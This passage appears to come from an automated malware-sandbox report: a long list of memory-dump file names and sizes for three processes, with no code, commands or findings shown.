                                                                                                                      2.3MB

                                                                                                                    • memory/3764-47-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-49-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-57-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-55-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-53-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-51-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-45-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-41-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-39-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-37-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-43-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-35-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-31-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-29-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-27-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-25-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-23-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-21-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-19-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-13-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-11-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-9-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-15-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-6-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-63-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-59-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-69-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-33-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-65-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-61-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-4892-0x0000000074710000-0x0000000074EC0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      7.7MB

                                                                                                                    • memory/3764-4893-0x0000000005C80000-0x0000000005D12000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      584KB

                                                                                                                    • memory/3764-4894-0x0000000006020000-0x000000000606C000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      304KB

                                                                                                                    • memory/3764-4903-0x000000007471E000-0x000000007471F000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      4KB

                                                                                                                    • memory/3764-4905-0x0000000074710000-0x0000000074EC0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      7.7MB

                                                                                                                    • memory/3764-5657-0x0000000006070000-0x00000000060C4000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      336KB

                                                                                                                    • memory/3764-0-0x000000007471E000-0x000000007471F000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      4KB

                                                                                                                    • memory/3764-1-0x00000000009B0000-0x00000000009EC000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      240KB

                                                                                                                    • memory/3764-2-0x0000000074710000-0x0000000074EC0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      7.7MB

                                                                                                                    • memory/3764-3-0x00000000075E0000-0x0000000007836000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-4-0x0000000007DE0000-0x0000000008384000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      5.6MB

                                                                                                                    • memory/3764-5-0x00000000078D0000-0x0000000007962000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      584KB

                                                                                                                    • memory/3764-17-0x00000000075E0000-0x0000000007830000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      2.3MB

                                                                                                                    • memory/3764-5673-0x0000000074710000-0x0000000074EC0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      7.7MB

                                                                                                                    • memory/4624-5680-0x0000000000400000-0x0000000000440000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      256KB

                                                                                                                    • memory/4624-5681-0x0000000005790000-0x00000000057F6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      408KB

                                                                                                                    • memory/4624-5698-0x0000000007020000-0x00000000070BC000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      624KB

                                                                                                                    • memory/4624-5697-0x0000000006F30000-0x0000000006F80000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      320KB

                                                                                                                    • memory/4624-5702-0x00000000070D0000-0x00000000070DA000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      40KB

                                                                                                                    • memory/5012-4919-0x00007FF9F4B30000-0x00007FF9F55F1000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/5012-4920-0x0000015E74560000-0x0000015E7458A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/5012-4918-0x00007FF9F4B30000-0x00007FF9F55F1000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/5012-4917-0x00007FF9F4B30000-0x00007FF9F55F1000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/5012-4916-0x00007FF9F4B30000-0x00007FF9F55F1000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB

                                                                                                                    • memory/5012-4915-0x0000015E74070000-0x0000015E74092000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      136KB

                                                                                                                    • memory/5012-4904-0x00007FF9F4B33000-0x00007FF9F4B35000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      8KB

                                                                                                                    • memory/5012-4994-0x00007FF9F4B30000-0x00007FF9F55F1000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      10.8MB